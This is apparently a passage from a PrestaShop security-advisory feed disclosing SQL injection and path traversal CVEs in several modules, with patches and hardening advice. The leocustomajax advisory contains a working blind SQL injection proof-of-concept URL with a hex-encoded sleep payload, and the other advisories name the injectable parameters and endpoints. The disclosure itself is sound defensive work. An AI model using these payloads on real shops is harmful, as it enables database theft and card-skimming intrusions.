<p>Up to 2.4.3, a sensitive SQL call in file <code class="language-plaintext highlighter-rouge">includes/ajax.php</code> can be executed with a trivial http call and exploited to forge a blind SQL injection throught the POST or GET submitted <code class="language-plaintext highlighter-rouge">others</code> and <code class="language-plaintext highlighter-rouge">more</code> variables.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to exposed tokens and unlock admins’ ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/ailinear/includes/ajax.php
</span><span class="gi">+++ b/ailinear/includes/ajax.php
</span><span class="p">@@ -346,17 +346,23 @@</span> if (Tools::getIsset('action')) {
     $request_value = Tools::getIsset('value') ? Tools::getValue('value') : 0;
     $request_product = (int)Tools::getValue('product');
     $request_more = Tools::getValue('more');
<span class="gd">-    $request_others = Tools::getValue('others');
</span><span class="gi">+    $request_others = (int)Tools::getValue('others');
</span>     $request_quantity = (int)Tools::getValue('qty');
 
     /* Test if base combination exists */
     if ($request_more != '') {
<span class="gd">-        $more = explode('_', $request_more);
</span><span class="gi">+        $more_attributes = explode('_', $request_more);
+        $more_attributes = array_map('intval', $more_attributes);
+        foreach ($more_attributes as $key =&gt; $attr) {
+            if (!$attr) {
+                unset($more_attributes[$key]);
+            }
+        }
</span>         
         /* Get the id_product_attribute (the first is the default one)*/
         $result = DB::getInstance()-&gt;ExecuteS(
             'SELECT COUNT(id_product_attribute) as number, id_product_attribute FROM '._DB_PREFIX_.'product_attribute_combination WHERE id_product_attribute IN (SELECT id_product_attribute FROM '._DB_PREFIX_.'product_attribute WHERE '.
<span class="gd">-            'id_product = '.$request_product.') AND id_attribute IN ('.implode(', ', $more).') GROUP BY id_product_attribute HAVING number = '.count($more).' ORDER BY id_product_attribute ASC'
</span><span class="gi">+            'id_product = '.$request_product.') AND id_attribute IN ('.implode(', ', $more_attributes).') GROUP BY id_product_attribute HAVING number = '.count($more_attributes).' ORDER BY id_product_attribute ASC'
</span>         );
         
         /* Get the attributes values and lang for the product */
<span class="p">@@ -364,6 +370,8 @@</span> if (Tools::getIsset('action')) {
             die('Unknown');
         }
     } else {
<span class="gi">+        $more_attributes = array();
+        
</span>         /* Get the id_product_attribute (the first is the default one)*/
         $result = DB::getInstance()-&gt;ExecuteS('SELECT COUNT(id_product_attribute) as number, id_product_attribute FROM '._DB_PREFIX_.'product_attribute WHERE id_product = '.$request_product.' ORDER BY id_product_attribute ASC');
     }
<span class="p">@@ -373,13 +381,6 @@</span> if (Tools::getIsset('action')) {
         $return = 'Message-&gt;'.$module-&gt;l('Message for delayed preparation', 'ajax').'|';
     }
 
<span class="gd">-    /* Get attributes */
-    if ($request_more != '') {
-        $more_attributes = explode('_', $request_more);
-    } else {
-        $more_attributes = array();
-    }
-
</span>     /* Get price changes */
     $more_attributes_price = 0;
     if (count($more_attributes)) {
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>
    <ul>
      <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
    </ul>
  </li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-03-08</td>
      <td>Vunlnerability found during a audit by <a href="https://www.202-ecommerce.com/">202 ecommerce</a></td>
    </tr>
    <tr>
      <td>2023-03-08</td>
      <td>Contact the author</td>
    </tr>
    <tr>
      <td>2023-03-08</td>
      <td>The author confirm the issue and supply a fixed release</td>
    </tr>
    <tr>
      <td>2023-04-23</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-06-15</td>
      <td>Publication of this advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.boutique.ai-dev.fr/en/custom-made/48-linear-meter-sells.html">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-31672">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;202-ecommerce.com&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Length, weight or volume sell” (ailinear) for PrestaShop, an attacker can perform SQL injection up to 2.4.3. Release 2.4.3 fixed this security issue.]]></summary></entry><entry><title type="html">[CVE-2023-31671] Improper neutralization of SQL parameter in Postfinance module</title><link href="https://security.friendsofpresta.org/modules/2023/06/13/postfinance.html" rel="alternate" type="text/html" title="[CVE-2023-31671] Improper neutralization of SQL parameter in Postfinance module" /><published>2023-06-13T00:00:00+00:00</published><updated>2023-06-13T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/06/13/postfinance</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/06/13/postfinance.html"><![CDATA[<p>SQL injection vulnerability found in the module “Postfinance” edited by Webbax for PrestaShop before 17.1.14. (17.1.14 fix the issue) allow a remote attacker to perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-31671">CVE-2023-31671</a></li>
  <li><strong>Published at</strong>: 2023-06-13</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: postfinance</li>
  <li><strong>Impacted release</strong>: &lt;= 17.1.13 (17.1.14 fix the issue).</li>
  <li><strong>Product author</strong>: Webbax</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Before version 17.1.14, a sensitive SQL call in the class <code class="language-plaintext highlighter-rouge">PostfinanceValidationModuleFrontController::postProcess()</code> could be executed with a trivial HTTP call and exploited to forge a blind SQL injection by sending the <code class="language-plaintext highlighter-rouge">orderID</code> variable as a GET parameter. Its exploded version, <code class="language-plaintext highlighter-rouge">$get_id_cart</code> (a part of <code class="language-plaintext highlighter-rouge">orderID</code>), is then used in a SQL query.</p>

<p>This vulnerability can be exploited by an attacker to manipulate the SQL query and potentially gain unauthorized access to the database. It is important to update to version 17.1.14 or later to address this issue and ensure the security of the system.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to exposed tokens and unlock admins’ ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/modules/postfiannce/validation.php
</span><span class="gi">+++ b/modules/postfiannce/validation.php
</span>        if(Tools::strtoupper(sha1($string_crypt))==$sha){
        //if(Tools::strtoupper(sha1($string_crypt))==$sha &amp;&amp; $getv_postfinance_upper['AMOUNT']==$cart-&gt;getOrderTotal(true,3)){
            
            $Postfinance = new Postfinance();
            
            // si le panier n'a pas été converti
<span class="gd">-            $orderExists = (bool)Db::getInstance()-&gt;getValue('SELECT count(*) FROM `'._DB_PREFIX_.'orders` WHERE `id_cart`='.pSQL($get_id_cart));
</span><span class="gi">+            $orderExists = (bool)Db::getInstance()-&gt;getValue('SELECT count(*) FROM `'._DB_PREFIX_.'orders` WHERE `id_cart`='. (int) $get_id_cart);
</span>            if(
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>
    <ul>
      <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
    </ul>
  </li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-04-12</td>
      <td>Sensitive SQL parameter analysed by <a href="https://www.202-ecommerce.com/">202 ecommerce</a></td>
    </tr>
    <tr>
      <td>2023-04-14</td>
      <td>Contact the author</td>
    </tr>
    <tr>
      <td>2023-04-14</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-04-14</td>
      <td>The author confirm a fix is available on 17.1.14</td>
    </tr>
    <tr>
      <td>2023-06-13</td>
      <td>Publication of this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://shop.webbax.ch/modules-de-paiement/123-module-postfinance.html">Author product page</a></li>
  <li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-31671">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;202-ecommerce.com&quot;, &quot;TouchWeb.fr&quot;, &quot;Profileo.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[SQL injection vulnerability found in the module “Postfinance” edited by Webbax for PrestaShop before 17.1.14. (17.1.14 fix the issue) allow a remote attacker to perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-30198] Improper Limitation of a Pathname to a Restricted Directory in Webbax - Winbiz Payment module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/06/08/winbizpayment.html" rel="alternate" type="text/html" title="[CVE-2023-30198] Improper Limitation of a Pathname to a Restricted Directory in Webbax - Winbiz Payment module for PrestaShop" /><published>2023-06-08T00:00:00+00:00</published><updated>2023-06-08T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/06/08/winbizpayment</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/06/08/winbizpayment.html"><![CDATA[<p>In the module “Winbiz Payment” (winbizpayment) from Webbax for PrestaShop, a guest can download personal information without restriction by performing a path traversal attack.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-30198">CVE-2023-30198</a></li>
  <li><strong>Published at</strong>: 2023-06-08</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: winbizpayment</li>
  <li><strong>Impacted release</strong>: &lt;= 17.1.3 (17.1.4 should fix the vulnerability - see Note below)</li>
  <li><strong>Product author</strong>: Webbax</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/22.html">CWE-22</a></li>
  <li><strong>Severity</strong>: high (7.5), GDPR violation</li>
</ul>

<h2 id="description">Description</h2>

<p>Due to a lack of permissions control and a lack of control in the path name construction, a guest can perform a path traversal to view all files on the information system.</p>

<p>WARNING : We are forced to tag it as a medium gravity due to the CWE type 22 but be warned that on our ecosystem, it must be considered critical since it unlocks hundreds admin’s ajax script of modules due to <a href="https://github.com/PrestaShop/PrestaShop/blob/6c05518b807d014ee8edb811041e3de232520c28/classes/Tools.php#L1247">this</a>.</p>

<p>Note: The author refuses to confirm the scope of the vulnerability for his module (we see the vulnerability only in version 1.0.2). However, since he patched the same type of vulnerability in three other modules on May 2, 2023, we reasonably believe that he also patched this module, as it received an update on the same date.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Stealing secrets to unlock admin controllers based on ajax script</li>
  <li>Exfiltrate all modules with all versions to facilitate pentesting</li>
  <li>Stealing table_prefix to greatly facilitate SQL injections for kiddies who don’t know how exploit DBMS design’s vulnerabilities or steal database access to login in exposed PHPMyAdmin / Adminer / etc.</li>
  <li>Bypass WAF / htaccess restrictions to read forbidden files (such as logs on predictable paths of banks’s modules inside /var/log/)</li>
</ul>

<h2 id="patch-from-1713">Patch from 17.1.3</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 17.1.3/modules/winbizpayment/downloads/download.php
</span><span class="gi">+++ XXXXXX/modules/winbizpayment/downloads/download.php
</span><span class="gd">- $file = Tools::getValue('file');
</span><span class="gi">+ $file = basename(Tools::getValue('file'));
</span></code></pre></div></div>

<p>Be warned that this fix is perfectible. See recommendations below.</p>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>You should consider restricting the access of modules/winbizpayment/downloads/ to a whitelist or delete the module</li>
  <li>NEVER expose a PHPMyAdmin / Adminer / etc without, at least, a htpasswd</li>
  <li>Activate OWASP 930’s rules on your WAF (Web application firewall) and adjust it for your PrestaShop</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-02-25</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-02-25</td>
      <td>Contact Author</td>
    </tr>
    <tr>
      <td>2023-02-25</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-02-27</td>
      <td>Author confirms alert’s read</td>
    </tr>
    <tr>
      <td>2023-04-24</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-05-02</td>
      <td>Author publishs a new version which should fix the leak</td>
    </tr>
    <tr>
      <td>2023-06-08</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://shop.webbax.ch/modules-pour-winbiz/136-module-prestashop-winbiz-payment.html">Author download page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-30198">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Winbiz Payment” (winbizpayment) from Webbax for PrestaShop, a guest can download personal information without restriction by performing a path traversal attack.]]></summary></entry><entry><title type="html">[CVE-2023-30150] Improper neutralization of SQL parameters in the Leo Custom Ajax (leocustomajax) module from LeoTheme for PrestaShop</title><link href="https://security.friendsofpresta.org/module/2023/06/06/leocustomajax.html" rel="alternate" type="text/html" title="[CVE-2023-30150] Improper neutralization of SQL parameters in the Leo Custom Ajax (leocustomajax) module from LeoTheme for PrestaShop" /><published>2023-06-06T00:00:00+00:00</published><updated>2023-06-06T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/module/2023/06/06/leocustomajax</id><content type="html" xml:base="https://security.friendsofpresta.org/module/2023/06/06/leocustomajax.html"><![CDATA[<p>Multiple SQL injection vulnerabilities in the Leo Custom Ajax (leocustomajax) module from LeoTheme for PrestaShop, in version 1.0, allow remote attackers to execute arbitrary SQL commands via the <code class="language-plaintext highlighter-rouge">cat_list</code>, <code class="language-plaintext highlighter-rouge">pro_info</code>, <code class="language-plaintext highlighter-rouge">pro_add</code>, <code class="language-plaintext highlighter-rouge">pro_cdown</code> or <code class="language-plaintext highlighter-rouge">pro_color</code> parameter in <code class="language-plaintext highlighter-rouge">leoajax.php</code>.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-30150">CVE-2023-30150</a></li>
  <li><strong>Published at</strong>: none</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: leocustomajax</li>
  <li><strong>Impacted release</strong>: = 1.0 (May also be identified as 1.0.0)</li>
  <li><strong>Product author</strong>: LeoTheme</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>In the Leo Custom Ajax (leocustomajax) module for PrestaShop, in version 1.0 and 1.0.0 (no other versions have been published since), an HTTP request can be manipulated using multiple GET parameters (<code class="language-plaintext highlighter-rouge">cat_list</code>, <code class="language-plaintext highlighter-rouge">pro_info</code>, <code class="language-plaintext highlighter-rouge">pro_add</code>, <code class="language-plaintext highlighter-rouge">pro_cdown</code> and <code class="language-plaintext highlighter-rouge">pro_color</code>), in the <code class="language-plaintext highlighter-rouge">/modules/leocustomajax/leoajax.php</code> endpoint, enabling a remote attacker to perform an SQL injection.</p>

<p><strong>WARNING</strong> : This vulnerability can be exploited even if the module is disabled or uninstalled, and is actively used to deploy webskimmer to massively steal credit cards.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to exposed tokens and unlock admins’ ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://example.test/modules/leocustomajax/leoajax.php?cat_list<span class="o">=</span>10%29<span class="p">;</span><span class="k">select</span>+0x73656C65637420736C656570283432293B+into+@a<span class="p">;</span>prepare+b+from+@a<span class="p">;</span>execute+b<span class="p">;</span><span class="nt">--</span>
</code></pre></div></div>

<h2 id="patch">Patch</h2>

<p><strong>Disabling or uninstalling the module is not enough. The module needs to be fully removed from the file system or patched.</strong></p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/modules/leocustomajax/leoajax.php
</span><span class="gi">+++ b/modules/leocustomajax/leoajax.php
</span><span class="p">@@ -25,6 +25,7 @@</span> $leoProductInfo = new Leocustomajax();
 if ($listCat) {
     $listCat = explode(',', $listCat);
     $listCat = array_unique($listCat);
<span class="gi">+    $listCat = array_map('intval', $listCat);
</span>     $listCat = implode(',', $listCat);
 
     $sql = 'SELECT COUNT(cp.`id_product`) AS total, cp.`id_category`
<span class="p">@@ -44,6 +45,7 @@</span> if ($listCat) {
 if ($leoProCdown) {
     $leoProCdown = explode(',', $leoProCdown);
     $leoProCdown = array_unique($leoProCdown);
<span class="gi">+    $leoProCdown = array_map('intval', $leoProCdown);
</span>     $leoProCdown = implode(',', $leoProCdown);
     $result['pro_cdown'] = $leoProductInfo-&gt;hookProductCdown($leoProCdown);
 }
<span class="p">@@ -51,6 +53,7 @@</span> if ($leoProCdown) {
 if ($leoProColor) {
     $leoProColor = explode(',', $leoProColor);
     $leoProColor = array_unique($leoProColor);
<span class="gi">+    $leoProColor = array_map('intval', $leoProColor);
</span>     $leoProColor = implode(',', $leoProColor);
     $result['pro_color'] = $leoProductInfo-&gt;hookProductColor($leoProColor);
 }
<span class="p">@@ -59,6 +62,7 @@</span> if ($leoProColor) {
 if ($leoProInfo) {
     $leoProInfo = explode(',', $leoProInfo);
     $leoProInfo = array_unique($leoProInfo);
<span class="gi">+    $leoProInfo = array_map('intval', $leoProInfo);
</span>     $leoProInfo = implode(',', $leoProInfo);
 
     # $leocustomajax = new Leocustomajax();
<span class="p">@@ -67,6 +71,7 @@</span> if ($leoProInfo) {
 if ($leoProAdd) {
     $leoProAdd = explode(',', $leoProAdd);
     $leoProAdd = array_unique($leoProAdd);
<span class="gi">+    $leoProAdd = array_map('intval', $leoProAdd);
</span>     $leoProAdd = implode(',', $leoProAdd);
 
     $result['pro_add'] = $leoProductInfo-&gt;hookProductOneImg($leoProAdd);
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-09-18</td>
      <td>Discovery of the vulnerability by Profileo</td>
    </tr>
    <tr>
      <td>2022-09-19</td>
      <td>Security issue reported to the author</td>
    </tr>
    <tr>
      <td>2022-09-20</td>
      <td>Issue confirmed by the author</td>
    </tr>
    <tr>
      <td>2023-03-25</td>
      <td>Request for additional details concerning impacted versions</td>
    </tr>
    <tr>
      <td>2023-03-28</td>
      <td>Author replied confirming versions impacted</td>
    </tr>
    <tr>
      <td>2023-06-06</td>
      <td>Publication of the security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.leotheme.com/">Module’s author website LeoTheme</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-30150">National Vulnerability Database CVE-2023-30150</a></li>
</ul>]]></content><author><name>[&quot;Profileo.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="module" /><summary type="html"><![CDATA[Multiple SQL injection vulnerabilities in the Leo Custom Ajax (leocustomajax) module from LeoTheme for PrestaShop, in version 1.0, allow remote attackers to execute arbitrary SQL commands via the cat_list, pro_info, pro_add, pro_cdown or pro_color parameter in leoajax.php.]]></summary></entry><entry><title type="html">[CVE-2023-30149] Improper neutralization of SQL parameter in the City Autocomplete (cityautocomplete) module from ebewe.net for PrestaShop</title><link href="https://security.friendsofpresta.org/module/2023/06/01/cityautocomplete.html" rel="alternate" type="text/html" title="[CVE-2023-30149] Improper neutralization of SQL parameter in the City Autocomplete (cityautocomplete) module from ebewe.net for PrestaShop" /><published>2023-06-01T00:00:00+00:00</published><updated>2023-06-01T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/module/2023/06/01/cityautocomplete</id><content type="html" xml:base="https://security.friendsofpresta.org/module/2023/06/01/cityautocomplete.html"><![CDATA[<p>SQL injection vulnerability in the City Autocomplete (cityautocomplete) module from ebewe.net for PrestaShop, prior to version 1.8.12 (for PrestaShop version 1.5/1.6) or prior to 2.0.3 (for PrestaShop version 1.7), allows remote attackers to execute arbitrary SQL commands via the <code class="language-plaintext highlighter-rouge">type</code>, <code class="language-plaintext highlighter-rouge">input_name</code>. or <code class="language-plaintext highlighter-rouge">q</code>  parameter in the <code class="language-plaintext highlighter-rouge">autocompletion.php</code> front controller.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-30149">CVE-2023-30149</a></li>
  <li><strong>Published at</strong>: 2023-06-01</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta</li>
  <li><strong>Vendor</strong>: PrestaShop</li>
  <li><strong>Product</strong>: cityautocomplete</li>
  <li><strong>Impacted release</strong>: PS 1.5/1.6 : &lt; 1.8.12 (fixed in version 1.8.12), PS 1.7 : &lt; 2.0.3 (fixed in version 2.0.3)</li>
  <li><strong>Product author</strong>: ebewe.net</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>An HTTP request can be manipulated using <code class="language-plaintext highlighter-rouge">type</code> or <code class="language-plaintext highlighter-rouge">q</code> GET parameters, in the <code class="language-plaintext highlighter-rouge">/module/cityautocomplete/autocompletion</code> FrontController endpoint, enabling a remote attacker to perform an SQL injection. The issue is fixed in version 1.8.12 and 2.0.3, published on October, 2022.</p>

<p>Note : The version 2.X also includes an additional parameter <code class="language-plaintext highlighter-rouge">input_name</code>. See patch below for more details.</p>

<p><strong>WARNING</strong> : This exploit is actively used to deploy webskimmer to massively steal credit cards.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs</strong>. Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

